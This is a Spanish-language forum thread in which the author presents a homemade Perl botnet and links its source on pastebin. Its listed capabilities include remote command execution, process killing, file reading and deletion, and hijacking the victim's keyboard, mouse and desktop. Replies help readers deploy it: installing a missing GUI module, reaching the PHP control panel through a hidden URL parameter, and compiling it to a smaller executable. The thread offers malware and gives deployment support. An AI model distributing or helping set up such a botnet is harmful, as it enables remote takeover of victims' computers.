Bueno , siempre quize hacer una botnet en Perl , logre programar una bien basica que tiene las siguientes opciones :
- Ejecucion de comandos
- Simple GetIP
- Listar procesos activos
- Matar procesos
- Listar archivos de un directorio
- Borrar un archivo o directorio cualquiera
- Leer archivos
- Abrir y cerrar lectora
- Ocultar y mostrar programas del escritorio
- Ocultar y mostrar Taskbar
- Mandar mensajitos molestos
- Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
- Hacer que el teclado escriba solo
- Volver loco al mouse haciendo que se mueva por la pantalla
Para usar esta botnet necesitan un hosting que permita PHP y Mysql.
Una imagen del generador :
(http://doddyhackman.webcindario.com/images/botnetuno.jpg)
Otra imagen de la botnet en accion :
(http://doddyhackman.webcindario.com/images/botnetdos.jpg)
El codigo lo pueden encontrar aca (http://pastebin.com/Edectx5Q).
Se ve bonito (y)
CitarCan't locate Tk.pm in @INC <@INC contains: C:/Perl/site/lib C:/Perl/lib .> at project_dh_botnet_0.2.pl line5
BEGIN failed--compilation aborted at project_dh_botnet_0.2.pl line 5
me aparece ese error, que error es ese?
gracias
Tk es el modulo que use para la interfaz grafica.
podes intentar instalar el modulo de este forma :
ppm install http://www.bribes.org/perl/ppm/Tk.ppd
Gracias amigo Doddy
Doddy Bro, que pena molestarte tanto, pero ahora me salta este error y no he podido dar cual es el que me genera el error
CitarNot Found
The requested URL was not found on this server.
tenes que usar la variable ?poraca= , despues de usarla te va aparecer el login.
el problema es que al compilar a .exe son casi 3 MB
¿no se podrá reducir el peso?
creo que si pero segun lo que recuerdo generaba dependencias usando perl2exe
gracias, excelente trabajo, la probare a ver que tal va, saludos